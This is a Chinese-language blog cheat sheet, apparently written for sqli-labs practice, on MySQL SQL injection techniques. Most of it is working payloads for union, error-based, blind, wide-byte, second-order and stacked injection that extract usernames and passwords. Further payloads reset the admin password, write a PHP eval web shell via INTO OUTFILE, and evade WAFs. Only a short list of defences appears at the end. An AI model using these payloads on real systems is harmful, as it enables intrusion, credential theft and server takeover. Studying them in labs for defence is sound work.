sql注入笔记

记录一些sql注入的笔记.. 大佬轻喷
參考:

SQL注入原理

sql注入就是用户输入的值没有经过严格的过滤却被带进了数据库中当成了数据库语句去执行从而导致的漏洞.

information_schema

information_schemamysql5.0版本之后才有的

三个重点表schemata,tables,columns

  • schemata 数据库信息

重点字段:

schema_name 数据库名字
  • tables 数据表信息

重点字段:

table_name  数据表名字
table_schema 数据库名字
  • columns 列的信息

重点字段:

table_name  数据表名字
table_schema 数据库名字
column_name  列名

确认表中有多少字段(order by)

获取数据库版本version()

获取数据库绝对路径@@datadir

获取当前连接数据库的用户user()

获取当前数据库database()

联合注入

联合查询步骤:

  1. 判断注入点

    • ?id=1 and 1=2
    • ?id=1 or 1=1
    • 直接上order by ?id=1 order by 33333
  2. 判断闭合情况

    • ?id=1’ –+
    • ?id=1” –+
    • 在不考虑圆括号的情况下,单引号闭合插入双引号不会报错,双引号闭合中插入单引号不会报错.数字型插什么都报错
  3. 判断查询字段数

    • order by 1 正常
    • order by 10 (给个较大的数,通过二分法逐渐判断)
  4. 判断显示位:

    • ?id=-1 union select 1,2,3(id一定要给个无效的参数,否则不会正确显示显示位)
  5. [判断mysql版本]

    • version()
  6. [获取全部数据库名字]

    • union select 1,group_concat(schema_name),3 from information_schema.schemata
  7. 获取当前数据库下所有的表名

    • union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
  8. 判断关键表(users)的列名

    • union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=’users’
  9. 获取数据

    • union select 1,group_concat(username),group_concat(password) from users

报错注入

报错注入不需要改?id=-1
只有联合查询需要
报错注入,不值这两条语句,还有其他的.

extractvalue()

extractvalue(arg1,arg2)

1
2
3
4
5
6
arg1 string格式
arg2 Xpath格式

and extractvalue(1,concat(0x7e,(select version()),0x7e))

最大长度限制32位

updatexml()

updatexml(arg1,arg2,arg3)

1
2
3
4
5
6
arg1为xml文档对象的名称
arg2为xpath格式的字符串
arg3为string格式,替换查找到的符合条件的数据
and updatexml(1,concat(0x7e,(select version()),0x7e),1)

最大长度限制32位

floor()

报错注入步骤

  1. 判断引号闭合情况

  2. 获取所有数据库名字

    • and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata ),0x7e))

    • and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata ),0x7e),1)

  3. 获取当前数据库下所有表名

    • and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))

    • and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

  4. 获取列名

    • and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x7e))

    • and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x7e),1)

  5. 获取数据

    • and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))

    • and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))

    • and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)

    • and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)

布尔注入

用到的函数

  • length() 判断长度
  • ascii() 读取ascii码表
  • substr(string,start,length) 截取字符串
  • count(*)计数

布尔注入是盲测,指你只能通过默认的回显页面去判断,并一步步拆解结果。步骤繁琐。较为困难…

布尔注入步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
一、判断引号闭合
二、获取数据库名字
先得到数据库名的长度
and length(database())>5
判断数据库名字的字符
and ascii(substr(database(),1,1))>97 --+

三、判断当前数据库表数量
and (select count(*) from information_schema.tables where table_schema=database())>5
四、判断当前数据库表长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
五、猜解表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
limit 0,1
substr 1,1
六、获取列的数量
and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>5
七、获取每个列的长度
and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>5
八、获取每个列的名字
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>97
八、获取数据
获取第一个用户名的长度
and (select length(username) from users limit 0,1)>5
猜解用户名的每个字符
and ascii(substr((select username from users limit 0,1),1,1))>97

时间延迟注入

时间延迟注入要用到的函数

  • if(arg1,arg2,arg3)
  • sleep(arg1) (秒为单位)
  • benchmark(arg1,arg2)

sleep

and if(payload,sleep(5),1)

如果时间正确则延迟五秒

benchmark

and if(payload,benchmark(50000000,md5('abc')),1)
延迟10秒左右,加密5千万次

宽字节注入

字符编码集

  • ASCII码(单字节编码 第一位取0 如果取1那就是高位ASCII)
  • GBK编码(中文编码) gbk2个字节=1个汉字
  • UTF8(Unicode),Unicode完全兼容ASCII,UTF-8变长编码,根据不同的符号来变化长度 urf8 3个字节=1个汉字

UTF8规定一个英文字符用一个字节,一个中文字符用三个字节表示

URL编码

URL编码进制用的是是 ASCII 16进制
URL编码只解一次
八个二进制位和2个16进制位表示的值是一样的

要用到的函数

  • addslashes()函数 转义函数

宽字节注入原理

要求数据库编码方式:GBK

如果数据库编码为GBK时,那么一个GBK汉字就占两个字节,遇到连续两个字节,都符合GBK取值范围,则会自动解释成汉字.

当使用Addslashes函数防止sql注入时,将传入参数值进行转义.当输入'时,那么就会被自动转义成\'
addslashes

结合前面所说的URL编码都是16进制的ASCII码,%5c对应ASCII码的\,我们所要考虑的就是将\转义掉,让我们的单引号逃逸.

man

两个十六进制位则占一个字节,GBK编码遇到连续的两个字节则会解释成汉字,所以如果我们输入一个大于128的十六进制位那么%df就会被转义的单引号\'\进行结合被解释成一个汉字,从而造成单引号逃逸
sddd

为什么要大于128?因为ascii已经占用了128个标准的字符了,所以要大于128.(十进制大于128),所以不管是%df还是%cf 只要这个的十六进制值换算后的十进制值大于128那么就能组合成汉字

使用mysqli_real_escape_string转义用户输入的内容时,要预先设置好数据库编码方式,如果不设置,那么这个函数就不会很好的发挥它的效果.

宽字节注入防御方式

  1. 魔术引号(5.2后版本舍弃)
  2. mysql_set_charset(‘GBK’)#根据数据库编码设置
    1. mysqli_real_escape_string 转义用户输入
  3. 使用addslashes()函数
  4. 正则匹配后替换

二次解码注入

因为URL编码只在后端进行一次解码,造成了引号逃逸

原理:
twice

1

%2527

二次注入(存储型注入)

攻击者构造的恶意数据被存储在数据库后,恶意数据被存入数据库,但是数据库只会存储没有功能性的字符.
取并进入到sql查询语句所导致的注入.

原理double

sqli-less24靶场,默认是一个登录界面,如何进行二次注入.
先尝试注册一个用户名,测试admin'#''
aa

修改密码,当前密码可以不用输入.可以看到已经修改成功了,以为着admin的密码已经被修改了
ww

成功登录
a

为什么呢,我们可以查看源代码,pass_change.php观察红线所划出的两行

其中第一行$username=($_SESSION["username"]);没有对用户名进行转义,而我们用户名为admin'#''#在sql语句中是注释的意思,所以如果没有对$username进行转义的话,那么我们的数据库在后端操作红线划出的第二行的sql执行语句

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

会在数据库被解释为

1
update users set password='a' where username='admin'#''' and password=''....

#号后面的已经无关紧要了,因为后面的语句已经被注释掉了.所以这一段sql语句会被执行成

1
update users set password='a' where username='admin'

堆叠注入

核心思想:同时执行多条语句,mysql语句;号结尾

  • 局限1:API限制
  • 局限2:数据库引擎
  • 局限3:权限不足

sqli-less38靶场为例

先判断闭合等方式就不说了,当确认可以注入之后就可以了,执行我们的修改语句重点在于每一句的语句之后都要分号结尾,否则不成功

1
?id=-1' union select 1,2,3;update users set password='b' where username='admin'; #

sqli-less39关同理,只是闭合方式不一样

DNS log注入

atsud0-Dnslog注入

基于http头部的SQL注入

使用burpsuite抓包,修改cookie值,要注意闭合

referer

使用burpsuite抓包,修改referer值,要注意闭合

user-agent

使用burpsuite抓包,修改user-agent值,要注意闭合

Mysql文件读写

在数据库用户权限足够,并且开启了特定配置的时候,我们可以尝试利用这个来对文件进行读(获取目标机器上的部分信息)写(直接拿shell)

用于写一句话

要求配置:

  • secure_file_priv 限制用户读写文件的选项

查看当前值设置

show variables like '%secure_file%'

  • 为空时 没有限制
  • 一个目录时:只能在那个目录中导入导出(这个目录必须存在)
  • 为NULL 禁止导入导出

max_allowed_packet 限制接收数据包的大小

临时设置:

1
set global max_allowed_packet 1024*1024*1024

永久修改:

修改my.ini

sqli-less-7
?id=-1')) union select 1,2,'<?php eval($_POST[a])?>' into outfile "绝对路径" --+ 注意闭合

这个路径可以不在网站根目录下(看具体设置,最好不要写在C盘,因为要额外设置权限,但是一般都不会给mysqlC盘其他位置的写入权限把…)

load_file(file_name)
读取文件并返回该文件的内容作为一个字符串

使用条件:

  • A:有权限读取并且完全可读
  • B:读取文件必须在服务器上
  • C:必须指定文件的绝对路径
  • D:读取文件大小必须小于max_allowed_packet

万能密码

实际上没什么机会能用到的

username:' or 1=1 --
password:' or 1=1 --

死活爆破不出列名,只知道表名,要怎么进行注入?

偏移注入(待填坑

额外知识

sql注入几种绕过

  1. 当屏蔽group_concat时,用concat(table_name) 或者直接就table_name,然后使用limit获取我们需要的信息

  2. 当输出时,观察后面部分,在我们构造的order by之后还有一个order by,我们应该把它注释掉
    sd

正确的方式:http://111/english/gallery.php?cid=1%20order%20by%2015%20--+

过WAF

先尝试关键词会不会被截断,要用好内联注释

双写
大小写 uNIon Select
使用编码 ‰55nion %53elect 1,2,3,4
使用注释
特殊符号

注释方式

1
2
3
4
#
-- 注意后面有空格
/* */
/*! */注释完整的单词,不能注释部分的单词,绕过一些过滤(不是注释的注释)(不能真的算是注释,但是能用于过waf)

在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。

引号闭合

1
2
3
单引号中插入双引号不会报错,不影响执行,但是数字型和双引号中插入双引号会报错...

双引号中插入单引号不会报错,不影响执行,但是数字型和单引号中插入单引号会报错...

判断注入

1
2
3
4
5
order by
and 1=1
or 1=1
xor 1=2
like 1

防御

1
2
3
4
魔术引号
过滤函数(严格过滤用户的输入
WAF
PDO预处理